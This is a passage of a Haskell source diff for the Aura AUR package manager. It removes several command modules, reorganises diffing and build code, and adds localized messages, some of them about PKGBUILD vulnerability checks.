SimplePkg -> RIO Env [(AurInfo, Versioning)]-possibleUpdates pkgs = do-  aurInfos <- aurInfo $ fmap spName pkgs-  let !names  = map aurNameOf aurInfos-      aurPkgs = NEL.filter (\(SimplePkg (PkgName n) _) -> n `elem` names) pkgs-  logDebug "Package lookup successful."-  pure . filter isntMostRecent . zip aurInfos $ map spVersion aurPkgs---- | Is there an update for Aura that we could apply first?-auraCheck :: [PkgName] -> RIO Env (Maybe PkgName)-auraCheck ps = join <$> traverse f auraPkg-  where-    f :: a -> RIO Env (Maybe a)-    f a = do-      ss <- asks settings-      bool Nothing (Just a) <$> liftIO (optionalPrompt ss auraCheck_1)--    auraPkg :: Maybe PkgName-    auraPkg | "aura" `elem` ps     = Just "aura"-            | "aura-bin" `elem` ps = Just "aura-bin"-            | otherwise            = Nothing--auraUpgrade :: PkgName -> RIO Env ()-auraUpgrade = I.install . pure--develPkgCheck :: RIO Env (Set PkgName)-develPkgCheck = asks settings >>= \ss ->-  if switch ss RebuildDevel then liftIO develPkgs else pure S.empty---- | The result of @-Ai@.-aurPkgInfo :: NonEmpty PkgName -> RIO Env ()-aurPkgInfo = aurInfo >=> traverse_ displayAurPkgInfo--displayAurPkgInfo :: AurInfo -> RIO Env ()-displayAurPkgInfo ai = asks settings >>= \ss -> putTextLn $ renderAurPkgInfo ss ai <> "\n"--renderAurPkgInfo :: Settings -> AurInfo -> Text-renderAurPkgInfo ss ai = dtot . colourCheck ss $ entrify ss fields entries-    where fields   = infoFields . langOf $ ss-          entries = [ magenta "aur"-                    , annotate bold . pretty $ aurNameOf ai-                    , pretty $ aurVersionOf ai-                    , outOfDateMsg (dateObsoleteOf ai) $ langOf ss-                    , orphanedMsg (aurMaintainerOf ai) $ langOf ss-                    , cyan . maybe "(null)" pretty $ urlOf ai-                    , pretty . pkgUrl . PkgName $ aurNameOf ai-                    , pretty . T.unwords $ licenseOf ai-                    , pretty . T.unwords $ dependsOf ai-                    , pretty . T.unwords $ makeDepsOf ai-                    , yellow . pretty $ aurVotesOf ai-                    , yellow . pretty . T.pack . printf "%0.2f" $ popularityOf ai-                    , maybe "(null)" pretty $ aurDescriptionOf ai ]---- | The result of @-As@.-aurPkgSearch :: Text -> RIO Env ()-aurPkgSearch regex = do-  ss <- asks settings-  db <- S.map (pnName . spName) <$> liftIO foreignPackages-  let t = case truncationOf $ buildConfigOf ss of  -- Can't this go anywhere else?-            None   -> id-            Head n -> take $ fromIntegral n-            Tail n -> reverse . take (fromIntegral n) . reverse-  results <- fmap (\x -> (x, aurNameOf x `S.member` db)) . t-            <$> aurSearch regex-  traverse_ (putTextLn . renderSearch ss regex) results--renderSearch :: Settings -> Text -> (AurInfo, Bool) -> Text-renderSearch ss r (i, e) = searchResult-    where searchResult = if switch ss LowVerbosity then sparseInfo else dtot $ colourCheck ss verboseInfo-          sparseInfo   = aurNameOf i-          verboseInfo  = repo <> n <+> v <+> "(" <> l <+> "|" <+> p <>-                         ")" <> (if e then annotate bold " [installed]" else "") <> "\n    " <> d-          repo = magenta "aur/"-          n = fold . L.intersperse (bCyan $ pretty r) . map (annotate bold . pretty) . splitOn r $ aurNameOf i-          d = maybe "(null)" pretty $ aurDescriptionOf i-          l = yellow . pretty $ aurVotesOf i  -- `l` for likes?-          p = yellow . pretty . T.pack . printf "%0.2f" $ popularityOf i-          v = case dateObsoleteOf i of-            Just _  -> red . pretty $ aurVersionOf i-            Nothing -> green . pretty $ aurVersionOf i---- | The result of @-Ap@.-displayPkgbuild :: NonEmpty PkgName -> RIO Env ()-displayPkgbuild ps = do-  man <- asks (managerOf . settings)-  pbs <- catMaybes <$> traverse (liftIO . getPkgbuild man) (toList ps)-  traverse_ ((\p -> B.putStr p >> B.putStr "\n") . pkgbuild) pbs--isntMostRecent :: (AurInfo, Versioning) -> Bool-isntMostRecent (ai, v) = trueVer > Just v-  where trueVer = hush . versioning $ aurVersionOf ai---- | Similar to @-Ai@, but yields the raw data as JSON instead.-aurJson :: NonEmpty PkgName -> RIO Env ()-aurJson ps = do-  m <- asks (managerOf . settings)-  infos <- liftMaybeM (Failure connectFailure_1) . fmap hush . liftIO $ f m ps-  traverse_ (BL.putStrLn . encode) infos-  where-    f :: Manager -> NonEmpty PkgName -> IO (Either AurError [AurInfo])-    f m = info m . map pnName . NEL.toList---- | @https://aur.archlinux.org/cgit/aur.git/snapshot/aura-bin.tar.gz@-fetchTarball :: NonEmpty PkgName -> RIO Env ()-fetchTarball ps = do-  ss <- asks settings-  traverse_ (liftIO . g ss) ps-  where-    f :: PkgName -> String-    f (PkgName p) =-      "https://aur.archlinux.org/cgit/aur.git/snapshot/" <> T.unpack p <> ".tar.gz"--    g :: Settings -> PkgName -> IO ()-    g ss p@(PkgName pn) = urlContents (managerOf ss) (f p) >>= \case-      Nothing -> warn ss $ missingPkg_5 p-      Just bs -> writeFileBinary (T.unpack pn <> ".tar.gz") bs----------------- REPORTING--------------reportPkgsToUpgrade :: [(AurInfo, Versioning)] -> [PkgName] -> RIO Env ()-reportPkgsToUpgrade ups pns = do-  ss <- asks settings-  notify ss reportPkgsToUpgrade_1-  liftIO $ putDoc (colourCheck ss . vcat $ map f ups' <> map g devels) >> putTextLn "\n"-  where devels   = map pnName pns-        ups'     = map (second prettyV) ups-        nLen     = maximum $ map (T.length . aurNameOf . fst) ups <> map T.length devels-        vLen     = maximum $ map (T.length . snd) ups'-        g        = annotate (color Cyan) . pretty-        f (p, v) = hsep [ cyan . fill nLen . pretty $ aurNameOf p-                        , "::"-                        , yellow . fill vLen $ pretty v-                        , "->"-                        , green . pretty $ aurVersionOf p ]
− lib/Aura/Commands/B.hs
@@ -1,53 +0,0 @@-{-# LANGUAGE TupleSections #-}-{-# LANGUAGE ViewPatterns  #-}---- |--- Module    : Aura.Commands.B--- Copyright : (c) Colin Woodbury, 2012 - 2020--- License   : GPL3--- Maintainer: Colin Woodbury <colin@fosskers.ca>------ Handle all @-B@ flags - those which involve saved package states.--module Aura.Commands.B-  ( saveState-  , restoreState-  , cleanStates-  , listStates-  ) where--import           Aura.Core (warn)-import           Aura.IO-import           Aura.Languages-import           Aura.Settings-import           Aura.State-import           RIO-import           RIO.Directory-import           RIO.FilePath-import qualified RIO.List as L-import qualified RIO.NonEmpty as NEL-import qualified RIO.Text as T--------- | Remove all but the newest @n@ package states. Any "pinned" states will also remain.-cleanStates :: Settings -> Word -> IO ()-cleanStates ss (fromIntegral -> n) = do-  stfs <- reverse <$> getStateFiles-  (pinned, others) <- L.partition p <$> traverse (\sf -> (sf,) <$> readState sf) stfs-  warn ss $ cleanStates_4 (length stfs)-  unless (null pinned) . warn ss $ cleanStates_6 (length pinned)-  forM_ (NEL.nonEmpty stfs) $ \stfs' -> do-    let mostRecent = T.pack . takeFileName $ NEL.head stfs'-    warn ss $ cleanStates_5 mostRecent-  okay <- optionalPrompt ss $ cleanStates_2 n-  if not okay-    then warn ss cleanStates_3-    else traverse_ (removeFile . fst) . drop n $ others-  where-    p :: (a, Maybe PkgState) -> Bool-    p = maybe False pinnedOf . snd---- | The result of @-Bl@.-listStates :: IO ()-listStates = getStateFiles >>= traverse_ (putTextLn . T.pack)
− lib/Aura/Commands/C.hs
@@ -1,168 +0,0 @@-{-# LANGUAGE BangPatterns       #-}-{-# LANGUAGE NumericUnderscores #-}-{-# LANGUAGE TypeApplications   #-}---- |--- Module    : Aura.Commands.C--- Copyright : (c) Colin Woodbury, 2012 - 2020--- License   : GPL3--- Maintainer: Colin Woodbury <colin@fosskers.ca>------ Handle all @-C@ flags - those which involve the package cache.--module Aura.Commands.C-  ( downgradePackages-  , searchCache-  , backupCache-  , cleanCache-  , cleanNotSaved-  ) where--import           Aura.Cache-import           Aura.Colour (red)-import           Aura.Core-import           Aura.IO-import           Aura.Languages-import           Aura.Pacman (pacman)-import           Aura.Settings-import           Aura.Shell-import           Aura.State-import           Aura.Types-import           Aura.Utils (nes)-import           RIO-import           RIO.Directory-import qualified RIO.List as L-import qualified RIO.Map as M-import qualified RIO.NonEmpty as NEL-import qualified RIO.Set as S-import qualified RIO.Text as T--------- | Interactive. Gives the user a choice as to exactly what versions--- they want to downgrade to.-downgradePackages :: NonEmpty PkgName -> RIO Env ()-downgradePackages pkgs = do-  ss <- asks settings-  let cachePath = either id id . cachePathOf $ commonConfigOf ss-  reals <- liftIO $ pkgsInCache ss pkgsSet-  traverse_ (report red reportBadDowngradePkgs_1) . nes $ pkgsSet S.\\ reals-  unless (null reals) $ do-    cache   <- liftIO $ cacheContents cachePath-    choices <- traverse (getDowngradeChoice cache) $ toList reals-    liftIO . pacman $ "-U" : asFlag (commonConfigOf ss) <> map (T.pack . ppPath) choices-  where-    pkgsSet :: Set PkgName-    pkgsSet = S.fromList $ NEL.toList pkgs---- | For a given package, get a choice from the user about which version of it to--- downgrade to.-getDowngradeChoice :: Cache -> PkgName -> RIO Env PackagePath-getDowngradeChoice cache pkg =-  case NEL.nonEmpty $ getChoicesFromCache cache pkg of-    Nothing      -> throwM . Failure $ reportBadDowngradePkgs_2 pkg-    Just choices -> do-      ss <- asks settings-      notify ss $ getDowngradeChoice_1 pkg-      liftIO $ getSelection (T.pack . ppPath) choices--getChoicesFromCache :: Cache -> PkgName -> [PackagePath]-getChoicesFromCache (Cache cache) p = L.sort . M.elems $ M.filterWithKey (\(SimplePkg pn _) _ -> p == pn) cache---- | Print all package filenames that match a given `Text`.-searchCache :: Text -> RIO Env ()-searchCache ps = do-  ss <- asks settings-  matches <- liftIO $ cacheMatches ss ps-  traverse_ (putTextLn . T.pack . ppPath) $ L.sort matches---- | The destination folder must already exist for the back-up to begin.-backupCache :: FilePath -> RIO Env ()-backupCache dir = do-  exists <- liftIO $ doesDirectoryExist dir-  if not exists-    then throwM $ Failure backupCache_3-    else confirmBackup dir >>= backup dir--confirmBackup :: FilePath -> RIO Env Cache-confirmBackup dir = do-  ss    <- asks settings-  cache <- liftIO . cacheContents . either id id . cachePathOf $ commonConfigOf ss-  notify ss $ backupCache_4 dir-  notify ss $ backupCache_5 (M.size $ _cache cache)-  withOkay ss backupCache_6 backupCache_7 $ pure cache--backup :: FilePath -> Cache -> RIO Env ()-backup dir (Cache cache) = do-  ss <- asks settings-  notify ss backupCache_8-  putTextLn ""  -- So that the cursor can rise at first.-  copyAndNotify dir (M.elems cache) 1---- | Manages the file copying and display of the real-time progress notifier.-copyAndNotify :: FilePath -> [PackagePath] -> Int -> RIO Env ()-copyAndNotify _ [] _ = pure ()-copyAndNotify dir (p : ps) n = do-  ss <- asks settings-  liftIO $ raiseCursorBy 1-  warn ss $ copyAndNotify_1 n-  liftIO $ copyFile (ppPath p) dir-  copyAndNotify dir ps $ n + 1---- | Keeps a certain number of package files in the cache according to--- a number provided by the user. The rest are deleted.-cleanCache :: Word -> RIO Env ()-cleanCache toSave-  | toSave == 0 = do-      ss <- asks settings-      warn ss cleanCache_2-      liftIO $ pacman ["-Scc"]-  | otherwise = do-      ss <- asks settings-      let cachePath = either id id . cachePathOf $ commonConfigOf ss-      -- Measuring the cache size before removal ---      beforeCache@(Cache c) <- liftIO $ cacheContents cachePath-      beforeBytes <- liftIO $ cacheSize beforeCache-      notify ss $ cleanCache_7 (fromIntegral $ M.size c) beforeBytes-      -- Proceed with user confirmation ---      warn ss $ cleanCache_3 toSave-      withOkay ss cleanCache_4 cleanCache_5 $ do-        clean toSave beforeCache-        afterCache <- liftIO $ cacheContents cachePath-        afterBytes <- liftIO $ cacheSize afterCache-        notify ss $ cleanCache_8 (beforeBytes - afterBytes)---- | How big, in megabytes, are all the files in the cache?-cacheSize :: Cache -> IO Word-cacheSize (Cache cache) = do-  bytes <- foldl' (+) 0 <$> traverse (getFileSize . ppPath) (M.elems cache)-  pure . floor @Double $ fromIntegral bytes / 1_048_576  -- 1024 * 1024--clean :: Word -> Cache -> RIO Env ()-clean toSave (Cache cache) = do-  ss <- asks settings-  notify ss cleanCache_6-  let !files    = M.elems cache-      grouped   = take (fromIntegral toSave) . reverse <$> groupByName files-      toRemove  = files L.\\ fold grouped-  liftIO $ traverse_ (removeFile . ppPath) toRemove---- | Only package files with a version not in any PkgState will be--- removed.-cleanNotSaved :: RIO Env ()-cleanNotSaved = do-  ss <- asks settings-  notify ss cleanNotSaved_1-  sfs <- liftIO getStateFiles-  states <- fmap catMaybes . liftIO $ traverse readState sfs-  let cachePath = either id id . cachePathOf $ commonConfigOf ss-  (Cache cache)  <- liftIO $ cacheContents cachePath-  let duds = M.filterWithKey (\p _ -> any (inState p) states) cache-  prop <- liftIO . optionalPrompt ss $ cleanNotSaved_2 $ M.size duds-  when prop . liftIO . traverse_ (removeFile . ppPath) $ M.elems duds---- | Typically takes the contents of the package cache as an argument.-groupByName :: [PackagePath] -> [[PackagePath]]-groupByName pkgs = L.groupBy sameBaseName $ L.sort pkgs-    where sameBaseName a b = baseName a == baseName b-          baseName p = spName <$> simplepkg p
− lib/Aura/Commands/L.hs
@@ -1,78 +0,0 @@--- |--- Module    : Aura.Commands.L--- Copyright : (c) Colin Woodbury, 2012 - 2020--- License   : GPL3--- Maintainer: Colin Woodbury <colin@fosskers.ca>------ Handle all @-L@ flags - those which involve the pacman log file.--module Aura.Commands.L-  ( viewLogFile-  , searchLogFile-  , logInfoOnPkg-  ) where--import           Aura.Colour (dtot, red)-import           Aura.Core (Env(..), report)-import           Aura.IO-import           Aura.Languages-import           Aura.Settings-import           Aura.Types (PkgName(..))-import           Aura.Utils-import           Data.Text.Prettyprint.Doc-import           RIO hiding (FilePath)-import qualified RIO.NonEmpty as NEL-import qualified RIO.Text as T-import qualified RIO.Text.Partial as T-import           System.Process.Typed (proc, runProcess)--------- | The contents of the Pacman log file.-newtype Log = Log [Text]--data LogEntry = LogEntry-  { name         :: PkgName-  , firstInstall :: Text-  , upgrades     :: Word-  , recent       :: [Text] }---- | Pipes the pacman log file through a @less@ session.-viewLogFile :: RIO Env ()-viewLogFile = do-  pth <- asks (either id id . logPathOf . commonConfigOf . settings)-  void . runProcess $ proc "less" [pth]---- | Print all lines in the log file which contain a given `Text`.-searchLogFile :: Settings -> Text -> IO ()-searchLogFile ss input = do-  let pth = either id id . logPathOf $ commonConfigOf ss-  logFile <- T.lines . decodeUtf8Lenient <$> readFileBinary pth-  traverse_ putTextLn $ searchLines input logFile---- | The result of @-Li@.-logInfoOnPkg :: NonEmpty PkgName -> RIO Env ()-logInfoOnPkg pkgs = do-  ss <- asks settings-  let pth = either id id . logPathOf $ commonConfigOf ss-  logFile <- Log . T.lines . decodeUtf8Lenient <$> readFileBinary pth-  let (bads, goods) = fmapEither (logLookup logFile) $ toList pkgs-  traverse_ (report red reportNotInLog_1) $ NEL.nonEmpty bads-  traverse_ (putTextLn . renderEntry ss) goods--logLookup :: Log -> PkgName -> Either PkgName LogEntry-logLookup (Log lns) p = case matches of-  []    -> Left p-  (h:t) -> Right $-    LogEntry { name = p-             , firstInstall = T.take 16 $ T.tail h-             , upgrades = fromIntegral . length $ filter (T.isInfixOf " upgraded ") t-             , recent = reverse . take 5 $ reverse t }-  where matches = filter (T.isInfixOf (" " <> pnName p <> " (")) lns--renderEntry :: Settings -> LogEntry -> Text-renderEntry ss (LogEntry (PkgName pn) fi us rs) =-  dtot . colourCheck ss $ entrify ss fields entries <> hardline <> recents <> hardline-  where fields  = logLookUpFields $ langOf ss-        entries = map pretty [ pn, fi, T.pack (show us), "" ]-        recents = vsep $ map pretty rs
− lib/Aura/Commands/O.hs
@@ -1,25 +0,0 @@--- |--- Module    : Aura.Commands.O--- Copyright : (c) Colin Woodbury, 2012 - 2020--- License   : GPL3--- Maintainer: Colin Woodbury <colin@fosskers.ca>------ Handle all @-O@ flags - those which involve orphan packages.--module Aura.Commands.O ( displayOrphans, adoptPkg ) where--import Aura.Core (Env(..), orphans, sudo)-import Aura.IO (putTextLn)-import Aura.Pacman (pacman)-import Aura.Types-import RIO--------- | Print the result of @pacman -Qqdt@-displayOrphans :: IO ()-displayOrphans = orphans >>= traverse_ (putTextLn . pnName)---- | Identical to @-D --asexplicit@.-adoptPkg :: NonEmpty PkgName -> RIO Env ()-adoptPkg pkgs = sudo . liftIO . pacman $ ["-D", "--asexplicit"] <> asFlag pkgs
lib/Aura/Core.hs view
@@ -17,12 +17,15 @@     -- * User Privileges   , sudo, trueRoot     -- * Querying the Package Database-  , foreignPackages, orphans, develPkgs+  , foreignPackages, orphans+  , develPkgs, isDevelPkg   , Unsatisfied(..), Satisfied(..)   , areSatisfied, isInstalled   , checkDBLock     -- * Misc. Package Handling-  , removePkgs, partitionPkgs, packageBuildable+  , removePkgs, partitionPkgs+    -- * Content Diffing+  , diff     -- * IO   , notify, warn, scold, report   ) where@@ -31,7 +34,6 @@ import           Aura.IO import           Aura.Languages import           Aura.Pacman-import           Aura.Pkgbuild.Editing (hotEdit) import           Aura.Settings import           Aura.Shell import           Aura.Types@@ -47,6 +49,7 @@ import qualified RIO.NonEmpty as NEL import qualified RIO.Set as S import qualified RIO.Text as T+import           System.Process.Typed (proc, runProcess)  --- @@ -103,10 +106,6 @@     toEither (FromAUR b)  = Right b     toEither (FromRepo b) = Left b --- | Package a Buildable, running the customization handler first.-packageBuildable :: Settings -> Buildable -> IO Package-packageBuildable ss b = FromAUR <$> hotEdit ss b- ----------- -- THE WORK -----------@@ -125,7 +124,7 @@     then action else throwM $ Failure trueRoot_3  -- | A list of non-prebuilt packages installed on the system.--- `-Qm` yields a list of sorted values.+-- @-Qm@ yields a list of sorted values. foreignPackages :: IO (Set SimplePkg) foreignPackages = S.fromList . mapMaybe simplepkg' <$> pacmanLines ["-Qm"] @@ -133,12 +132,18 @@ orphans :: IO (Set PkgName) orphans = S.fromList . map PkgName <$> pacmanLines ["-Qqdt"] --- | Any package whose name is suffixed by git, hg, svn, darcs, cvs, or bzr.+-- | Any installed package whose name is suffixed by git, hg, svn, darcs, cvs,+-- or bzr. develPkgs :: IO (Set PkgName) develPkgs = S.filter isDevelPkg . S.map spName <$> foreignPackages-  where isDevelPkg (PkgName pkg) = any (`T.isSuffixOf` pkg) suffixes-        suffixes = ["-git", "-hg", "-svn", "-darcs", "-cvs", "-bzr"] +-- | Is a package suffixed by git, hg, svn, darcs, cvs, or bzr?+isDevelPkg :: PkgName -> Bool+isDevelPkg (PkgName pkg) = any (`T.isSuffixOf` pkg) suffixes+  where+    suffixes :: [Text]+    suffixes = ["-git", "-hg", "-svn", "-darcs", "-cvs", "-bzr"]+ -- | Returns what it was given if the package is already installed. -- Reasoning: Using raw bools can be less expressive. isInstalled :: PkgName -> IO (Maybe PkgName)@@ -176,6 +181,20 @@ checkDBLock ss = do   locked <- doesFileExist lockFile   when locked $ warn ss checkDBLock_1 *> B.getLine *> checkDBLock ss++----------+-- DIFFING+----------++-- | Given two filepaths, output the diff of the two files.+-- Output will be coloured unless colour is deactivated by+-- `--color never` or by detection of a non-terminal output+-- target.+diff :: MonadIO m => Settings -> FilePath -> FilePath -> m ()+diff ss f1 f2 = void . runProcess . proc "diff" $ c <> ["-u", f1, f2]+  where+    c :: [FilePath]+    c = bool ["--color"] [] $ shared ss (Colour Never)  ------- -- MISC  -- Too specific for `Utilities.hs` or `Aura.Utils`
lib/Aura/Dependencies.hs view
@@ -1,7 +1,6 @@-{-# LANGUAGE DeriveGeneric   #-}-{-# LANGUAGE LambdaCase      #-}-{-# LANGUAGE PatternSynonyms #-}-{-# LANGUAGE TupleSections   #-}+{-# LANGUAGE DeriveGeneric #-}+{-# LANGUAGE LambdaCase    #-}+{-# LANGUAGE TupleSections #-}  -- | -- Module    : Aura.Dependencies
− lib/Aura/Diff.hs
@@ -1,25 +0,0 @@--- |--- Module    : Aura.Diff--- Copyright : (c) Colin Woodbury, 2012 - 2020--- License   : GPL3--- Maintainer: Colin Woodbury <colin@fosskers.ca>------ Diffing files.--module Aura.Diff ( diff ) where--import Aura.Settings-import RIO-import System.Process.Typed (proc, runProcess)--------- | Given two filepaths, output the diff of the two files.--- Output will be coloured unless colour is deactivated by--- `--color never` or by detection of a non-terminal output--- target.-diff :: MonadIO m => Settings -> FilePath -> FilePath -> m ()-diff ss f1 f2 = void . runProcess . proc "diff" $ c <> ["-u", f1, f2]-  where-    c :: [FilePath]-    c = bool ["--color"] [] $ shared ss (Colour Never)
lib/Aura/Install.hs view
@@ -15,34 +15,29 @@   , displayPkgDeps   ) where -import           Aura.Build (buildPackages, installPkgFiles)+import           Aura.Build import           Aura.Cache (Cache(..), cacheContents) import           Aura.Colour import           Aura.Core import           Aura.Dependencies (resolveDeps)-import           Aura.Diff (diff) import           Aura.IO import           Aura.Languages import           Aura.Packages.AUR (aurLookup) import           Aura.Pacman (pacman, pacmanSuccess)-import           Aura.Pkgbuild.Base import           Aura.Pkgbuild.Records-import           Aura.Pkgbuild.Security+import           Aura.Security import           Aura.Settings import           Aura.Types import           Aura.Utils import           Control.Scheduler (Comp(..), traverseConcurrently) import           Data.Text.Prettyprint.Doc import           Data.Text.Prettyprint.Doc.Render.Terminal-import           Language.Bash.Pretty (prettyText)-import           Language.Bash.Syntax (ShellCommand)-import           RIO hiding (FilePath)+import           RIO import           RIO.Directory (setCurrentDirectory) import qualified RIO.List as L import qualified RIO.Map as M import qualified RIO.NonEmpty as NEL import qualified RIO.Set as S-import qualified RIO.Text as T  --- @@ -99,27 +94,6 @@                 traverse_ (liftIO . storePkgbuilds . fold1) mbuildPkgs                 traverse_ buildAndInstall mbuildPkgs --- | Determine if a package's PKGBUILD might contain malicious bash code.-analysePkgbuild :: Buildable -> RIO Env ()-analysePkgbuild b = do-  ss <- asks settings-  let f = do-        yes <- liftIO $ optionalPrompt ss security_6-        when yes . throwM $ Failure security_7-  case parsedPB $ bPkgbuild b of-    Nothing -> warn ss (security_1 $ bName b) *> f-    Just l  -> case bannedTerms l of-      []  -> pure ()-      bts -> do-        scold ss . security_5 $ bName b-        liftIO $ traverse_ (displayBannedTerms ss) bts-        f--displayBannedTerms :: Settings -> (ShellCommand, BannedTerm) -> IO ()-displayBannedTerms ss (stmt, b) = do-  putTextLn . T.pack $ "\n    " <> prettyText stmt <> "\n"-  warn ss $ reportExploit b- -- | Give anything that was installed as a dependency the /Install Reason/ of -- "Installed as a dependency for another package". annotateDeps :: NonEmpty Buildable -> IO ()@@ -158,9 +132,7 @@ -- | The nested `NonEmpty`s represent the package "hierarchy", namely, what can -- be built/installed before what. depsToInstall :: Repository -> NonEmpty Buildable -> RIO Env (NonEmpty (NonEmpty Package))-depsToInstall repo bs = do-  ss <- asks settings-  traverse (liftIO . packageBuildable ss) bs >>= resolveDeps repo+depsToInstall repo bs = resolveDeps repo $ NEL.map FromAUR bs  repoInstall :: NonEmpty Prebuilt -> RIO Env () repoInstall ps = do@@ -169,9 +141,15 @@  buildAndInstall :: NonEmpty (NonEmpty Buildable) -> RIO Env () buildAndInstall bss = do-  pth   <- asks (either id id . cachePathOf . commonConfigOf . settings)+  ss    <- asks settings+  let !pth = either id id . cachePathOf $ commonConfigOf ss+      !allsource = S.member AllSource . makepkgFlagsOf $ buildConfigOf ss   cache <- liftIO $ cacheContents pth+  when allsource $ notify ss buildPackages_2   traverse_ (f cache) bss+  when allsource $ do+    let !allsourcePath = fromMaybe srcPkgStore . allsourcePathOf $ buildConfigOf ss+    notify ss $ buildPackages_3 allsourcePath   where     -- TODO There is a weird edge case (which might be impossible anyway) where     -- `built` and the `traverse_` line below don't run, but `annotateDeps` is@@ -181,11 +159,17 @@     f (Cache cache) bs = do       ss <- asks settings       let (ps, cached) = fmapEither g $ NEL.toList bs++          -- | If we used @--force@, then take the package as-is. Otherwise, try+          -- to look it up in the package cache. If we find a match, we don't+          -- need to build it.+          g :: Buildable -> Either Buildable PackagePath           g b = case bToSP b `M.lookup` cache of             Just pp | not (switch ss ForceBuilding) -> Right pp             _                                       -> Left b+       built <- traverse buildPackages $ NEL.nonEmpty ps-      traverse_ installPkgFiles $ built <> NEL.nonEmpty cached+      traverse_ installPkgFiles $ (built <> Just cached) >>= NEL.nonEmpty       liftIO $ annotateDeps bs  ------------
lib/Aura/Languages.hs view
@@ -1,5 +1,6 @@-{-# LANGUAGE LambdaCase   #-}-{-# LANGUAGE ViewPatterns #-}+{-# LANGUAGE LambdaCase       #-}+{-# LANGUAGE TypeApplications #-}+{-# LANGUAGE ViewPatterns     #-}  {-# OPTIONS_HADDOCK prune #-} {-# OPTIONS_GHC -fno-warn-missing-export-lists #-}@@ -119,32 +120,33 @@         langNames = languageNames lang  -- | Make some `Text` cyan. Previous wrapped things in backticks.-bt :: Text -> Doc AnsiStyle-bt cs = cyan $ pretty cs+bt :: Pretty a => a -> Doc AnsiStyle+bt = cyan . pretty  whitespace :: Language -> Char whitespace Japanese = ' '  -- \12288 whitespace _        = ' '   -- \32 -langFromLocale :: Text -> Language+langFromLocale :: Text -> Maybe Language langFromLocale = T.take 2 >>> \case-    "ja" -> Japanese-    "pl" -> Polish-    "hr" -> Croatian-    "sv" -> Swedish-    "de" -> German-    "es" -> Spanish-    "pt" -> Portuguese-    "fr" -> French-    "ru" -> Russian-    "it" -> Italian-    "sr" -> Serbian-    "nb" -> Norwegian-    "id" -> Indonesia-    "zh" -> Chinese-    "eo" -> Esperanto-    "nl" -> Dutch-    _    -> English+  "ja" -> Just Japanese+  "pl" -> Just Polish+  "hr" -> Just Croatian+  "sv" -> Just Swedish+  "de" -> Just German+  "es" -> Just Spanish+  "pt" -> Just Portuguese+  "fr" -> Just French+  "ru" -> Just Russian+  "it" -> Just Italian+  "sr" -> Just Serbian+  "nb" -> Just Norwegian+  "id" -> Just Indonesia+  "zh" -> Just Chinese+  "eo" -> Just Esperanto+  "nl" -> Just Dutch+  "en" -> Just English+  _    -> Nothing  ---------------------- -- Aura/Core functions@@ -183,7 +185,7 @@     _          -> "As of makepkg v4.2, building as root is no longer possible."  mustBeRoot_1 :: Language -> Doc AnsiStyle-mustBeRoot_1 = let sudo = bt "sudo" in \case+mustBeRoot_1 = let sudo = bt @Text "sudo" in \case     Japanese   -> sudo <> "を使わないとそれができない!"     Polish     -> "Musisz użyć " <> sudo <> ", żeby to zrobić."     Croatian   -> "Morate koristiti" <> sudo <> "za ovu radnju."@@ -225,6 +227,14 @@     Dutch      -> "Pakket " <> p <> " aan het bouwen..."     _          -> "Building " <> p <> "..." +buildPackages_2 :: Language -> Doc AnsiStyle+buildPackages_2 = \case+  _ -> "'--allsource' detected. No actual installable packages will be built."++buildPackages_3 :: FilePath -> Language -> Doc AnsiStyle+buildPackages_3 fp = \case+  _ -> "All .src.tar.gz files were built and copied to: " <> pretty fp+ buildFail_5 :: Language -> Doc AnsiStyle buildFail_5 = \case     Japanese   -> "パッケージ作成に失敗しました。"@@ -318,6 +328,10 @@   Dutch      -> "Bouwen mislukt. Wilt U de fouten zien?"   _          -> "Building failed. Would you like to see the error?" +buildFail_12 :: Language -> Doc AnsiStyle+buildFail_12 = \case+  _ -> "Failed to 'git pull' the latest updates."+ ------------------------------ -- Aura/Dependencies functions ------------------------------@@ -1490,6 +1504,14 @@     Dutch      -> "Wilt u het PKGBUILD-bestand van " <> p <> " bewerken?"     _          -> "Would you like to edit the PKGBUILD of " <> p <> "?" +hotEdit_2 :: Language -> Doc AnsiStyle+hotEdit_2 = \case+  _ -> "Would you like to edit the .install file?"++hotEdit_3 :: FilePath -> Language -> Doc AnsiStyle+hotEdit_3 fp = \case+  _ -> "Would you like to edit " <> pretty fp <> "?"+ ------------------------------ -- Pkgbuild Security functions ------------------------------@@ -1562,6 +1584,22 @@   Italian   -> t <+> "implica che qualcuno stava trafficando con le variabili per nascondere comandi malevoli."   Dutch     -> t <+> "impliceert dat iemand slim probeerde om te gaan met variabelen om schadelijke opdrachten te verbergen."   _ -> t <+> "implies that someone was trying to be clever with variables to hide malicious commands."++security_11 :: Language -> Doc AnsiStyle+security_11 = \case+  _ -> "That PKGBUILD is too complex to parse - it may be obfuscating malicious code."++security_12 :: Language -> Doc AnsiStyle+security_12 = \case+  _ -> "Potential PKGBUILD vulnerabilities detected."++security_13 :: Word -> Language -> Doc AnsiStyle+security_13 (bt -> w) = \case+  _ -> "Checking" <+> w <+> "PKGBUILDs for vulnerabilities..."++security_14 :: Language -> Doc AnsiStyle+security_14 = \case+  _ -> "No vulnerabilities detected."  ----------------------- -- Aura/Utils functions
lib/Aura/MakePkg.hs view
@@ -35,15 +35,24 @@ -- | Given the current user name, build the package of whatever -- directory we're in. makepkg :: Settings -> User -> IO (Either Failure (NonEmpty FilePath))-makepkg ss usr = make ss usr (proc cmd $ opts <> colour) >>= g+makepkg ss usr = make ss usr (proc cmd $ opts <> overwrite <> colour) >>= g   where-    (cmd, opts) = runStyle usr . map T.unpack . foldMap asFlag . makepkgFlagsOf $ buildConfigOf ss+    (cmd, opts) =+      runStyle usr . map T.unpack . foldMap asFlag . makepkgFlagsOf $ buildConfigOf ss++    g :: (ExitCode, LByteString, [a]) -> IO (Either Failure (NonEmpty a))     g (ExitSuccess, _, fs)   = pure . note (Failure buildFail_9) $ NEL.nonEmpty fs     g (ExitFailure _, se, _) = do       unless (switch ss DontSuppressMakepkg) $ do         showError <- optionalPrompt ss buildFail_11         when showError $ BL.putStrLn se       pure . Left $ Failure buildFail_8++    overwrite :: [String]+    overwrite | switch ss ForceBuilding = ["-f"]+              | otherwise = []++    colour :: [String]     colour | shared ss (Colour Never)  = ["--nocolor"]            | shared ss (Colour Always) = []            | isTerminal ss = []@@ -74,7 +83,7 @@ makepkgSource usr = do   void . runProcess $ proc cmd opts   pwd <- getCurrentDirectory-  filter (T.isSuffixOf ".src.tar.gz" . T.pack) . map (pwd </>) <$> getDirectoryContents pwd+  filter (T.isSuffixOf ".src.tar.gz" . T.pack) . map (pwd </>) <$> listDirectory pwd     where (cmd, opts) = 